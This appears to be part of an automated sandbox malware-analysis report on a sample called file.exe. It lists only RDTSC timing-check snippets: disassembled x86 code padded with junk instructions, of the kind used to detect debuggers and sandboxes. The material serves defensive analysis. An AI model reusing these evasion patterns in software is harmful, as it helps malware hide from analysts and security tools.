Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1E6F second address: 10C1EB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF9h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F8F4CECCCF9h 0x00000011 pushad 0x00000012 popad 0x00000013 jnc 00007F8F4CECCCE6h 0x00000019 popad 0x0000001a pop ebx 0x0000001b pushad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1EB6 second address: 10C1EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8F4C502406h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C1EC4 second address: 10C1ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C22DD second address: 10C22EB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F4C502406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C22EB second address: 10C22EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C22EF second address: 10C2305 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 jmp 00007F8F4C50240Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2305 second address: 10C230A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C230A second address: 10C231C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jne 00007F8F4C502406h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2746 second address: 10C274D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C274D second address: 10C2761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4C502410h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2761 second address: 10C277D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8F4CECCCE6h 0x00000008 jmp 00007F8F4CECCCEFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C28C3 second address: 10C28CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C28CB second address: 10C28D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8F4CECCCE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2A34 second address: 10C2A3A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2A3A second address: 10C2A75 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jnl 00007F8F4CECCCE6h 0x00000011 jmp 00007F8F4CECCCF6h 0x00000016 popad 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B62D0 second address: 10B62D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B62D4 second address: 10B62E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F8F4CECCCE6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B62E3 second address: 10B62FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F8F4C502406h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jg 00007F8F4C502406h 0x00000014 pushad 0x00000015 popad 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B62FA second address: 10B62FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097F5E second address: 1097F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8F4C50240Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1097F70 second address: 1097F76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C39C1 second address: 10C39C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C39C8 second address: 10C39D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F8F4CECCCE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3C63 second address: 10C3C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3C69 second address: 10C3C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3C74 second address: 10C3C96 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F4C50240Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F8F4C50240Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3C96 second address: 10C3C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3C9E second address: 10C3CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9354 second address: 10C93A5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F8F4CECCCF9h 0x00000010 pop edi 0x00000011 jmp 00007F8F4CECCCEDh 0x00000016 jmp 00007F8F4CECCCF0h 0x0000001b popad 0x0000001c je 00007F8F4CECCCFEh 0x00000022 push eax 0x00000023 push edx 0x00000024 jl 00007F8F4CECCCE6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C93A5 second address: 10C93A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD1EB second address: 10CD1F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD1F1 second address: 10CD1F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD1F7 second address: 10CD217 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jc 00007F8F4CECCCECh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD217 second address: 10CD269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 jp 00007F8F4C502406h 0x0000000b pop ebx 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F8F4C50240Dh 0x00000016 mov eax, dword ptr [eax] 0x00000018 jnp 00007F8F4C502412h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jns 00007F8F4C50241Ah 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD39C second address: 10CD3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD3A7 second address: 10CD3BA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8F4C502406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jns 00007F8F4C502406h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D1165 second address: 10D116D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D116D second address: 10D1188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8F4C502413h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D1188 second address: 10D11A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4CECCCF2h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D11A6 second address: 10D11B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8F4C502406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D11B0 second address: 10D11B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D11B4 second address: 10D11C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F8F4C50240Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D11C6 second address: 10D11FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F4CECCCF4h 0x00000008 jno 00007F8F4CECCCE6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F8F4CECCCF4h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108C53A second address: 108C53E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4098 second address: 10D409E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4C9A second address: 10D4C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4C9F second address: 10D4CA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8F4CECCCE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4DBE second address: 10D4DC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F8F4C502406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4DC8 second address: 10D4DCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4DCC second address: 10D4DDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4DDA second address: 10D4DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4F90 second address: 10D4F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D4F95 second address: 10D4F9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D505C second address: 10D5066 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8F4C502406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D529D second address: 10D52D1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8F4CECCCE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F8F4CECCCF3h 0x00000012 xchg eax, ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8F4CECCCEDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D52D1 second address: 10D52D7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D52D7 second address: 10D52EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8F4CECCCF0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D52EC second address: 10D52F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D52F9 second address: 10D52FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D582A second address: 10D5830 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D5830 second address: 10D583E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4CECCCEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D583E second address: 10D5842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7317 second address: 10D731D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D7967 second address: 10D796D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8B9A second address: 10D8BA8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8326 second address: 10D832A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DA21D second address: 10DA223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9F99 second address: 10D9F9F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB549 second address: 10DB54D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DBFCF second address: 10DBFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DBFD3 second address: 10DC009 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8F4CECCCF0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DED85 second address: 10DED8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DED8B second address: 10DEE0F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8F4CECCCE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F8F4CECCCF0h 0x00000012 nop 0x00000013 xor bl, FFFFFFBAh 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F8F4CECCCE8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F8F4CECCCE8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e mov dword ptr [ebp+12450DF3h], ecx 0x00000054 jng 00007F8F4CECCCEDh 0x0000005a pushad 0x0000005b movzx ebx, di 0x0000005e pushad 0x0000005f popad 0x00000060 popad 0x00000061 push eax 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 js 00007F8F4CECCCE6h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCE2 second address: 10DFCE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFCE6 second address: 10DFD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a movzx ebx, bx 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F8F4CECCCE8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 mov dword ptr [ebp+124678DFh], ebx 0x0000002f mov dword ptr [ebp+12450DF3h], eax 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push esi 0x0000003a call 00007F8F4CECCCE8h 0x0000003f pop esi 0x00000040 mov dword ptr [esp+04h], esi 0x00000044 add dword ptr [esp+04h], 00000018h 0x0000004c inc esi 0x0000004d push esi 0x0000004e ret 0x0000004f pop esi 0x00000050 ret 0x00000051 mov bx, dx 0x00000054 sub dword ptr [ebp+12451F65h], esi 0x0000005a xchg eax, esi 0x0000005b pushad 0x0000005c push eax 0x0000005d jmp 00007F8F4CECCCF4h 0x00000062 pop eax 0x00000063 jns 00007F8F4CECCCECh 0x00000069 js 00007F8F4CECCCE6h 0x0000006f popad 0x00000070 push eax 0x00000071 push ecx 0x00000072 jnl 00007F8F4CECCCECh 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DFEE4 second address: 10DFEE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E2F1F second address: 10E2F41 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F4CECCCFDh 0x00000008 jnc 00007F8F4CECCCE6h 0x0000000e jmp 00007F8F4CECCCF1h 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10964ED second address: 1096509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4C50240Ah 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F8F4C502406h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096509 second address: 1096517 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jne 00007F8F4CECCCE6h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1096517 second address: 109651C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E0F63 second address: 10E0F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F8F4CECCCEDh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F8F4CECCCECh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4E57 second address: 10E4E7B instructions: 0x00000000 rdtsc 0x00000002 js 00007F8F4C502406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jl 00007F8F4C502408h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8F4C50240Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6A30 second address: 10E6A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6A34 second address: 10E6A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6A38 second address: 10E6A3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6A3E second address: 10E6A61 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8F4C502414h 0x00000008 jmp 00007F8F4C50240Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F8F4C502406h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6A61 second address: 10E6A67 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6A67 second address: 10E6A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8B63 second address: 10E8B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8B69 second address: 10E8B7E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8F4C50240Dh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E8B7E second address: 10E8B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
